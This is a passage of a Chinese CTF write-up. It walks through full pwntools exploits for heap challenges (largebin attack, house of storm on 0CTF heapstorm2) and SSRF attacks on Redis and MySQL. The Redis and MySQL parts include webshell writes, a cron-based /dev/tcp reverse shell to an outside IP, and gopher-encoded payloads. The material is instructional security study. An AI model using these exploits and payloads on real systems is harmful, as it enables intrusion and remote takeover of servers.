add(0x60, '2'*0x60 ) #
add(0x60, '3'*0x60 ) #
add(0x60, '4'*0x60 ) #
add(0x60, '5'*0x60 ) #
add(0x60, '6'*0x60 ) #
add(0x3f0, '7'*0x3f0) # playground
add(0x30, '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30, 'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30, 'c'*0x30 )
dele(0x9)
dele(0xb)
dele(0x0)
# debug(0)
add(0x400, '0'*0x400) #bk_nextsize
# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))
io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)
target_addr = HEAP+0xb0 # 1
chunk1_addr = HEAP+0x130 # 2
chunk2_addr = HEAP+0x1b0 # 3
victim_addr = HEAP+0xc30 # b
# large bin attack
edit(0xb, p64(chunk1_addr)) # victim bk_nextsize
edit(0x1, p64(0x0)+p64(chunk1_addr)) # target
chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr) #fd_nextsize
edit(0x3, chunk2) # chunk2
chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411)) #dao da chunk1
debug(0)
dele(0x6)
dele(0x3)
# debug(0)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60, '6'*0x60 ) #
show(0x3)
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)
junk = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk = junk.ljust(0xa8, 'A')
junk += p64(0x80)
recovery = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd
dele(0x5)
dele(0x4)
# debug(0)
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x60, '4'*0x60) #
recovery = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x40, '5'*0x30 ) #
dele(0x5)
# debug(0)
recovery = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x40, '5'*0x30 ) #
add(0x40, p64(LIBC+0x3c5c50)) #
# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)
# debug(0)
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '/bin/sh') #
dele(0x1)
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) #
# debug(0)
dele(15)
io.interactive()
1、首先是泄露堆地址：
add(0x60, '0'*0x60 ) #
add(0x60, '1'*0x60 ) #
add(0x60, '2'*0x60 ) #
add(0x60, '3'*0x60 ) #
add(0x60, '4'*0x60 ) #
add(0x60, '5'*0x60 ) #
add(0x60, '6'*0x60 ) #
add(0x3f0, '7'*0x3f0) # playground
add(0x30, '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30, 'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30, 'c'*0x30 )
dele(0x9)
dele(0xb)
dele(0x0)
# debug(0)
add(0x400, '0'*0x400) #bk_nextsize
# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))
io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)
可以看到正好是description位置处，利用bins的回收重分配机制，我们实现了第一步。
2、利用堆地址进行largebin的attack：
记清楚这4个我们待会要操作的堆块
target_addr = HEAP+0xb0 # 1
chunk1_addr = HEAP+0x130 # 2
chunk2_addr = HEAP+0x1b0 # 3
victim_addr = HEAP+0xc30 # b
chunk1和chunk2是我们需要伪造的fake_chunk。
edit(0xb, p64(chunk1_addr))
edit(0x1, p64(0x0)+p64(chunk1_addr))
这一步实现了修改bk_nextsize，链接到HEAP+0x130位置处，同时把指针写入到target堆地址中
chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr) #fd_nextsize
edit(0x3, chunk2) # chunk2
在0x1b0的位置实现了fake_chunk2的伪造，fd_nextsize指向0x130
chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)
edit(0x2, chunk1) # chunk1
这里在0x130位置处实现了fake_chunk1的伪造，同时把FD,BK,fd_nextsize和bk_nextsize都伪造好了，这样largebin的纵向列表就构造好了，横向列表也构造好了。这里重点是纵向列表，如图：
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))
写入size，刚好前一个是HEAP+0x130（size为0x410）。
再次申请时，根据从小到大遍历，会找到HEAP+0x130的fake_chunk堆块并取出来，实现unlink操作，那么就可以控制这个HEAP+0x130处的堆块了，从而有很大的溢出空间，就可以泄露地址了，把下一个的size位覆盖一下成0xdeadbeefdeadbeef，变成没有0截断，然后再次申请一个0x60，让0x7f的地址写入到堆块的FD指针，即可泄露：
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60, '6'*0x60 ) #
# debug(0)
show(0x3)
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)
接着我们修复下堆块，把0x80的堆块的FD改为0x60，下一次再次申请0x60的堆块，就会把0x60的数字写入到main_arena+56处，从而可以伪造出一个0x60大小的chunk块的size。
junk = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk = junk.ljust(0xa8, 'A')
junk += p64(0x80)
recovery = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd
dele(0x5)
dele(0x4)
debug(0)
edit(0x3, recovery)
伪造size为0x70，FD置为0,并切割，使得不满足0x60的size
recovery = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery)
add(0x40, '5'*0x30 )
再释放掉5号块（已修改为0x60大小），接着往它的FD写入刚刚伪造的0x60size的main_arena上的chunk，再申请2次即可往fake_chunk写入内容，也就是写入free_hook上方一些的topchunk地址，这样就实现了改heap下的topchunk的地址，下一次申请时就会从main_arena的topchunk地址处开始切割
dele(0x5)
recovery = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery)
add(0x40, '5'*0x30 ) #
add(0x40, p64(LIBC+0x3c5c50))
现在修改后：
接下来一路申请就可以一步步靠近我们的free_hook了，申请到了free_hook的区域后，改写为system，再free一个有binsh的堆块既可实现getshell。
复原伪造的largebin的attack，并腾出空间：
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)
最后是改free_hook
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '/bin/sh') #
dele(0x1)
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a))
dele(15)
io.interactive()
以上就是对于这题的一个解答，总结如下：
通过伪造largebin，再申请出largebin进行溢出攻击，然后结合fastbin的attack，修改topchunk的地址，接着改free_hook为onegadget。
下一题：
0CTF的一道house 0f storm：
这道题质量很高
先查看保护机制：
保护全开，接着ida分析程序:
signed __int64 initial()
{
signed int i; // [rsp+8h] [rbp-18h]
int fd; // [rsp+Ch] [rbp-14h]
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== HEAP STORM II =====");
if ( !mallopt(1, 0) )//将fastbin的max置为0，表示不存在fastbin了
exit(-1);
if ( mmap(0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != 322371584 )//申请了一块mmap的内存
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
if ( read(fd, 0x13370800, 0x18uLL) != 0x18 )
exit(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810];//0x13370800到0x13370820内容都是随机数
for ( i = 0; i <= 15; ++i )
{
*(0x10 * (i + 2LL) + 0x13370800) = xorchunk(0x13370800, 0LL);//初始化0x13370820开始的内容为随机数
*(0x10 * (i + 2LL) + 0x13370808) = xorsize(0x13370800LL, 0LL);//初始化0x13370828开始的内容为随机数
}
return 0x13370800LL;
}
通过分析初始化函数，我们可以知道，程序申请了一个大堆块，用来存放我们申请的堆指针，其中在0x13370800到0x13370820内容都是随机数，然后我们堆块起始位置是0x13370820，size起始位置是0x13370828，初始化了随机数，依次往下，我们只有16个堆块可以操作，如图所示：
依然是4个功能，我们可以一个个看：
1、calloc：
void __fastcall Allocate(chunk *mmap)
{
signed int i; // [rsp+10h] [rbp-10h]
signed int size; // [rsp+14h] [rbp-Ch]
void *ptr; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !xorsize(mmap, mmap[i + 2].size) )
{
printf("Size: ");
size = get_long();
if ( size > 12 && size <= 4096 )
{
ptr = calloc(size, 1uLL);
if ( !ptr )
exit(-1);
mmap[i + 2].size = xorsize(mmap, size);//堆地址和size都拿随机数进行了异或加密
mmap[i + 2LL].ptr = xorchunk(mmap, ptr);
printf("Chunk %d Allocated\n", i);
}
else
{
puts("Invalid Size");
}
return;
}
}
}
知道了calloc，我们特地定义了结构体方便理解：
2、update：
int __fastcall Update(chunk *mmap)
{
chunk *v2; // ST18_8
char *v3; // rax
signed int idx; // [rsp+10h] [rbp-20h]
int size; // [rsp+14h] [rbp-1Ch]
printf("Index: ");
idx = get_long();
if ( idx < 0 || idx > 15 || !xorsize(mmap, mmap[idx + 2].size) )
return puts("Invalid Index");
printf("Size: ");
size = get_long();
if ( size <= 0 || size > (xorsize(mmap, mmap[idx + 2].size) - 0xC) )
return puts("Invalid Size");
printf("Content: ");
v2 = xorchunk(mmap, mmap[idx + 2LL].ptr);
read_n(v2, size);
v3 = v2 + size;
*v3 = 'ROTSPAEH';
*(v3 + 2) = 'II_M';
v3[12] = 0; //0ffbynull
return printf("Chunk %d Updated\n", idx);
}
这里很明显的漏洞，就是输入满了后，有个0ffbynull漏洞，但是每次输入完，都会在末尾加上12个字节才能触发0ffbynull
3、Free
int __fastcall Delete(chunk *mmap)
{
void *ptr; // rax
signed int idx; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
idx = get_long();
if ( idx < 0 || idx > 15 || !xorsize(mmap, mmap[idx + 2].size) )
return puts("Invalid Index");
ptr = xorchunk(mmap, mmap[idx + 2LL].ptr);
free(ptr);
mmap[idx + 2LL].ptr = xorchunk(mmap, 0LL);
mmap[idx + 2].size = xorsize(mmap, 0LL);
return printf("Chunk %d Deleted\n", idx);
}
这里free完后又初始化为随机数，相当于清空了指针和size，没有漏洞
4、View
int __fastcall View(chunk *mmap)
{
__int64 size; // rbx
__int64 ptr; // rax
signed int idx; // [rsp+1Ch] [rbp-14h]
if ( (mmap[1].size ^ mmap[1].ptr) != 0x13377331 )//都是随机数，所以异或后不可能是这个值
return puts("Permission denied");
printf("Index: ");
idx = get_long();
if ( idx < 0 || idx > 15 || !xorsize(mmap, mmap[idx + 2].size) )
return puts("Invalid Index");
printf("Chunk[%d]: ", idx);
size = xorsize(mmap, mmap[idx + 2].size);
ptr = xorchunk(mmap, mmap[idx + 2LL].ptr);
write_n(ptr, size);
return puts(byte_180A);
}
这里明显是不能使用show函数，得改了才能使用这个函数进行泄露。
好了，程序分析完了，流程也清楚了，下面就是怎么利用offbynull去打题了，大概的思路如下：
1、利用offbynull，shrink the chunk（无法extend，因为presize被覆盖了字符，不能控制），造成对used态的堆块的修改
2、伪造largebin的bk_nextsize和bk指针，利用堆块插入时unlink，实现任意地址写堆地址，从而伪造出fake_chunk的size，fake_chunk肯定是mmap上面的地址啦
3、改写unsorted bin中堆块的bk指针，指向fake_chunk，就能看size申请出fake_chunk
4、申请出fake_chunk，就能改view函数的那个异或关卡，实现调用view函数泄露地址
5、通过改ptr位置为free_hook，然后update时就会改free_hook为onegadget，从而getshell
具体看exp：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./heapstorm2')
if local:
p = process('./heapstorm2')
libc = elf.libc
else:
p = remote('192.168.100.20',50001)
libc = ELF('./libc-2.18.so')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def malloc(size):
ru("Command: ")
sl('1')
ru("Size: ")
sl(str(size))
def free(index):
ru("Command: ")
sl('3')
ru("Index: ")
sl(str(index))
def update(index,size,content):
ru("Command: ")
sl('2')
ru("Index: ")
sl(str(index))
ru("Size: ")
sl(str(size))
ru("Content: ")
sl(content)
def show(index):
ru("Command: ")
sl('4')
ru("Index: ")
sl(str(index))
mmap_addr = 0x13370800
def pwn():
malloc(0x18)#0
malloc(0x520)#1
malloc(0x18)#2
malloc(0x18)#3
malloc(0x520)#4
malloc(0x18)#5
malloc(0x18)#6
py = ''
py += 'a'*0x4f0
py += p64(0x500) + p64(0x30)
update(1,len(py),py)
# debug(0)
free(1)
update(0,0x18-0xc,(0x18-0xc)*'a')
malloc(0x60)
malloc(0x480)#7
# debug(0)
free(1)
free(2)
malloc(0x540)#1
py = ''
py += '\x00'*0x60
py += p64(0) + p64(0x491)
py += '\x00'*0x480
py += p64(0x490) + p64(0x51)
update(1,len(py),py)
#fake_chunk1 #7
py = ''
py += 'a'*0x4f0
py += p64(0x500) + p64(0x30)
update(4,len(py),py)
free(4)
update(3,0x18-0xc,(0x18-0xc)*'b')
malloc(0x70)
malloc(0x470)#4
# #fake_chunk2 #4
free(2)
free(5)
malloc(0x540)#2
py = ''
py += '\x00'*0x70
py += p64(0) + p64(0x481)
py += '\x00'*0x470
py += p64(0x480) + p64(0x51)
update(2,len(py),py)
free(4)
malloc(0x580)
free(7)
py = ''
py += '\x00'*0x60
py += p64(0) + p64(0x491)
py += p64(0) + p64(mmap_addr-0x10)
py += '\x00'*0x470
py += p64(0x490) + p64(0x50)
update(1,len(py),py)
py = ''
py += '\x00'*0x70
py += p64(0) + p64(0x481)
py += p64(0) + p64(mmap_addr-0x10+8)
py += p64(0) + p64(mmap_addr-0x10-0x18-5)
py += '\x00'*0x450
py += p64(0x480) + p64(0x50)
update(2,len(py),py)
malloc(0x48)#5
py = ''
py += p64(0) + p64(0)
py += p64(0x13377331) + p64(0)
py += p64(0x13370820)
update(5,len(py),py)
py = ''
py += p64(0x13370820) + p64(8)
py += p64(0x133707f0+3) + p64(8)
update(0,len(py),py)
show(1)
ru("Chunk[1]: ")
heap = u64(rc(8)) - 0x90
print "heap--->" + hex(heap)
# debug(0)
py = ''
py += p64(0x13370820) + p64(8)
py += p64(heap+0xa0) + p64(8)
update(0,len(py),py)
show(1)
ru("Chunk[1]: ")
libc_base = u64(rc(8)) - 0x3c4b78
print "libc_base--->" + hex(libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
onegadget = libc_base + 0xf02a4
py = ''
py += p64(0x13370820) + p64(8)
py += p64(free_hook) + p64(8)
update(0,len(py),py)
update(1,8,p64(onegadget))
free(6)
i = 0
while 1:
i += 1
print i
try:
pwn()
except Exception as e:
p.close()
if local:
p = process('./heapstorm2')
libc = elf.libc
else:
p = remote('192.168.100.20',50001)
libc = ELF('./libc-2.18.so')
continue
else:
sl("ls")
break
p.interactive()
下面就解释下，exp中的每一步是在实现什么东西：
首先得有2个大堆块，作为largebin的堆块，因为presize无法控制，所以我们就shrink the
chunk，先缩小堆块，然后再unlink合并，这里free时的nextsize要设置好。
malloc(0x18)#0
malloc(0x520)#1
malloc(0x18)#2
malloc(0x18)#3
malloc(0x520)#4
malloc(0x18)#5
malloc(0x18)#6
py = ''
py += 'a'*0x4f0
py += p64(0x500) + p64(0x30)
update(1,len(py),py)
# debug(0)
free(1)
update(0,0x18-0xc,(0x18-0xc)*'a')
malloc(0x60)
malloc(0x480)#7
#large_chunk1 #7
free(1)
free(2)
malloc(0x540)#1
py = ''
py += '\x00'*0x60
py += p64(0) + p64(0x491)
py += '\x00'*0x480
py += p64(0x490) + p64(0x51)
update(1,len(py),py)
这样得到的0x540的1号堆块就能往下写从而修改free状态的7号块的fd和bk那些指针，第二个largebin一样的原理，但是要注意，这两个构造的largebin大小要不一样。
py = ''
py += 'a'*0x4f0
py += p64(0x500) + p64(0x30)
update(4,len(py),py)
free(4)
update(3,0x18-0xc,(0x18-0xc)*'b')
malloc(0x70)
malloc(0x470)#4
# #large_chunk2 #4
free(2)
free(5)
malloc(0x540)#2
py = ''
py += '\x00'*0x70
py += p64(0) + p64(0x481)
py += '\x00'*0x470
py += p64(0x480) + p64(0x51)
update(2,len(py),py)
部署好后，应该是这样的堆块布局：得到0x491和0x481的largebin
free(4)
malloc(0x580)
free(7)
4号放largebin，7号放unsorted bin
py = ''
py += '\x00'*0x60
py += p64(0) + p64(0x491)
py += p64(0) + p64(mmap_addr-0x10)
py += '\x00'*0x470
py += p64(0x490) + p64(0x50)
update(1,len(py),py)
这里是改unsortedbin的bk指针为我们伪造的fake_chunk的地址
py = ''
py += '\x00'*0x70
py += p64(0) + p64(0x481)
py += p64(0) + p64(mmap_addr-0x10+8)
py += p64(0) + p64(mmap_addr-0x10-0x18-5)
py += '\x00'*0x450
py += p64(0x480) + p64(0x50)
update(2,len(py),py)
改largebin的bk和bk_nextsize指针，当新的堆块插进largebin时，会在(mmap_addr-0x10+8）的fd处写入堆地址，同样在（mmap_addr-0x10-0x18-5）的fd_nextsize写入堆地址（成功伪造出fake_chunk的size头），实现largebin的attack。
malloc(0x48)
这一步是触发largebin的attack，先遍历unsotedbin，发现有我们释放的largebin大小的堆块，但是因为不是last
remainer，所以无法切割给用户，就会插入到largebin，触发攻击，在（mmap_addr-0x10-0x18-5）的fd_nextsize写入堆地址，由于剩下我们的bk所指的fake_chunk在main_arena上，此时fake_chunk由于largebin的攻击，已经有size头了，当我们malloc(0x48)时，就会把fake_chunk申请出来，接着就可以开始操作了，但是有时候会失败，所以我写了个小型爆破。
可以看到fake_chunk的头是0x56大小
这里0x13370800正是放随机数的地址，我们写成0，这样每次异或得到都是本身，同时改0x13370810和0x13370818为0x13377331和0，就可以使用view函数打印地址了，代码如下：
py = ''
py += p64(0) + p64(0)
py += p64(0x13377331) + p64(0)
py += p64(0x13370820)#首堆块的地址，方便下一次从自身开始update写入
update(5,len(py),py)
py = ''
py += p64(0x13370820) + p64(8)
py += p64(0x133707f0+3) + p64(8)#泄露堆地址
update(0,len(py),py)
ru("Chunk[1]: ")
heap = u64(rc(8)) - 0x90
print "heap--->" + hex(heap)
泄露libc原理一样：
py = ''
py += p64(0x13370820) + p64(8)
py += p64(heap+0xa0) + p64(8)
update(0,len(py),py)
show(1)
ru("Chunk[1]: ")
libc_base = u64(rc(8)) - 0x3c4b78
print "libc_base--->" + hex(libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
onegadget = libc_base + 0xf02a4
最后改free_hook为onegadget，free实现getshell：
py = ''
py += p64(0x13370820) + p64(8)
py += p64(free_hook) + p64(8)
update(0,len(py),py)
update(1,8,p64(onegadget))
free(6)
总结：
house of storm就是结合largebin的插入实现任意地址写堆地址和unsorted
bin的非lastremainer不切割的一种攻击方式，能实现申请出一个不可控的地址的堆块，从而修改数据，比较巧妙，也挺有趣，关键指针布局好，堆块就能出来，搞清楚了堆块布局就可以实现。 | 社区文章 |
#### 关于ssrf
ssrf在ctf中出现的次数有很多，利用的方式也是多种多样，包括不同的利用手法，绕过，协议的使用。
##### 关于redis
在vps上开启我的redis服务，关于redis存在着一些小的漏洞，例如未授权，有些时候还没有设置auth，在ssrf中redis的利用方式多种多样，包括反弹shell，webshell写入，sshkey上传等等。
##### 利用dict协议
利用dict我们可以写shell。
关于信息的采集：
在redis下我们使用info即可获取redis的相关信息，对于gopher可以加上一个下划线在跟上info，同时我们也可以判断出ssrf的存在。
###### 关于写入shell与定时计划
写入`shell`很简单，可以在本地试验一下。
flushall
+OK
config set dir /home/wwwroot/default/wordpress
+OK
config set dbfilename shell.php
+OK
set webshell "<?php phpinfo();?>"
+OK
save
+OK
再看一下网站：
成功写入phpinfo。
而这周只是在redis上，在实际的情况中，利用curl会出现一些小的状况。
成功写入，但这始终是本地，实际场景下会有很大的不同，比如说利用`curl`命令。
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/flushall
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dir:/home/wwwroot/default/wordpress
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/config:set:dbfilename:shell.php
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
[root@izbp1j0zu9bm2aus0jnbhtz ~]#
[root@izbp1j0zu9bm2aus0jnbhtz ~]# curl dict://127.0.0.1:6379/set:webshell:"<?php phpinfo() ?>"
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK
<script language='php'> @eval($_POST['pass']);</script>
看上去是写进去了，其实并没有，我们利用`tcpdump`进行查看，发现其实由于`?问号`的原因，后面的都被参数进行省略了，即使我利用burpsuit也是不可避免的。
上边是传输过程中的流量。
所以在CTF中我们想要顺利的写入一些敏感字符需要一些特定的方法。
vps上搭建环境：
漏洞代码：
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
测试漏洞：
在输入`INFO`后，获得输出，证明`dict`协议的可用性。
在这个环境中我还是无法直接写入`?`，我们可以利用编码，在这里我利用的是`\x`十六进制编码来完成。
dict://127.0.0.1:6379/set:webshell:"\x3C\x3fphp\x20phpinfo\x28\x29\x3b\x3f\x3e"
可以看到完全的输出了没有被转义。
访问`url`：
成功写入。
###### 写入反弹shell
利用定时任务写入反弹shell：
set 1 '\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/192.168.163.132/2333 0>&1\n\n'
转换一下即：
url=dict://127.0.0.1:6379/set:webshell:"\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n"
但还要注意这里不能够这么写：\x5c 而应该直接就 \n
不能这么写会产生乱码，而且也无法写入，但是要知道`linux`中的`cron`不会报错，只要读到一行正确配置即可执行，这里直接`\n`。
服务器里面看一下：
成功的获取了反弹shell。
###### 端口探测
同样的利用`dict`协议我们也可以探测端口存活。
##### gopher
在利用ssrf攻击redis时利用`gopher`协议我们可以进行主从复制，`shell`的写入
我们先利用`gopher`写一些键值对。
127.0.0.1:6379> set key1 value1
OK
这个时候利用`tcpdump`进行抓取流经6379的流量。
相关命令：`[root@izbp1j0zu9bm2aus0jnbhtz ~]# tcpdump -i lo port 6379 -w 1200.pcap
将红色段抓取下来。
2a 31 0d 0a 24 37 0d 0a 43 4f 4d 4d 41 4e 44 0d
0a
2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 34 0d
0a 6b 65 79 31 0d 0a 24 36 0d 0a 76 61 6c 75 65
31 0d 0a
按照这个每个都加一个%号改为url格式即可。
%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a
这样直接打是不行的，还要进行`url`双编码，利用curl可以只编一次码，因为他只解码一次。
此时查看服务端：
尝试写个`shell`:
转换一下：
%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%33%31%0d%0a%2f%68%6f%6d%65%2f%77%77%77%72%6f%6f%74%2f%64%65%66%61%75%6c%74%2f%77%6f%72%64%70%72%65%73%73%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a
`curl`发送一下：
准备保存到网页上：
###### web端利用
在web端中进行双编码即可：
redis上看一下：
把`save`也拼接上去，发包。
成功写入：
###### 关于反弹shell
跟利用`dict`协议一样。
成功反弹：
注意：写在`crontab`上时候反弹`shell`是这样的:
set webshell "\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/127.0.0.1/2333\x200\x3e\x261\n\n"
而写在`/var/spool/cron/`下需要我们将`root`去掉。
CentOS系统:
路径使用：/etc/crontab或者/var/spool/cron/root
ubuntu系统:
路径使用：/etc/crontab或者/var/spool/cron/crontabs/root
有些时候`redis`是需要认证的，我们可以进行暴力破解，尝试弱密码。
在利用的时候加上`auth`的流量即可。
#### MySQL
##### gopher打mysql
利用ssrf我们不仅能够进攻靶机拿下受害机器获取`shell`，同样也可以获取一些数据库的信息，有些时候我们可以拿这些数据库获取到的信息去扩大战果。
在`mysql`数据库不存在密码的时候：
无密码认证时直接发送TCP/IP数据包即可访问
环境设置：
`SET PASSWORD FOR root@localhost=PASSWORD('');`
`sudo mysqld_safe --skip-grant-tables &`
使用上述两条命令`mysql`数据库就可以不用密码进行登录。
利用`tcpdump`来进行流量抓取：
`tcpdump -i lo -s 0 port 3306 -w mysql.pcap`
注意第一个红框为登录流量。
注意两个点：`00 00 00 03`以及`01 00 00 00 01`
然后跟`dict`协议一样直接打就行了。
`ctfhub`中的环境这里直接用了。
在这里发现存在`ssrf`漏洞。
file`协议没有办法进行读取 判断gopher能不能打，至于判断方法，我自己是利用sleep函数来进行判断的：
监听一下,将流量转为`url`编码:
休眠十秒，确定存在。
`sql`语句：
`select '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php';`
用上述方法抓取下来进行`url`双编码：
访问对应`url`：可以观察到回显。
有两种工具可以帮助我们快速生成`payload`。
以及
`mysql -h 127.0.0.1 -u root -e "select '<?php phpinfo();?>' INTO OUTFILE
'/var/www/html/test.php';"`
#### fastcgi
`cgi`与`fastcgi`早已成为耳熟能详的一些服务了，具体原理网上有很多可见。
`fastcgi`: **快速通用网关接口**
在对`fastcgi`进行攻击的时候我们还需要了解一下另一个名词:`php-fpm`
实现原理：
PHP-FPM 负责管理一个进程池来处理来自 Web 服务器的 HTTP 动态请求，在 PHP-FPM 中，master 进程负责与 Web 服务器进行通信，接收 HTTP 请求，再将请求转发给 worker 进程进行处理，worker 进程主要负责动态执行 PHP 代码，处理完成后，将处理结果返回给 Web 服务器，再由 Web 服务器将结果发送给客户端。这就是 PHP-FPM 的基本工作原理 #知乎上找的
在`php`版本中的应用：从`PHP 5.4 RC2`开始，`php-fpm`已经转正了。
###### 利用条件
* PHP-FPM版本 >= 5.3.3
* 知道服务器上任意一个php文件的绝对路径
###### 关于环境搭建
因为我的服务器选择的就是`nginx`和`php`，单并没有使用9000端口，查看`log`日志发现它使用的是`sock`方法，所以我就没换，使用了CTFHUB的靶机进行操作。
###### 攻击原理
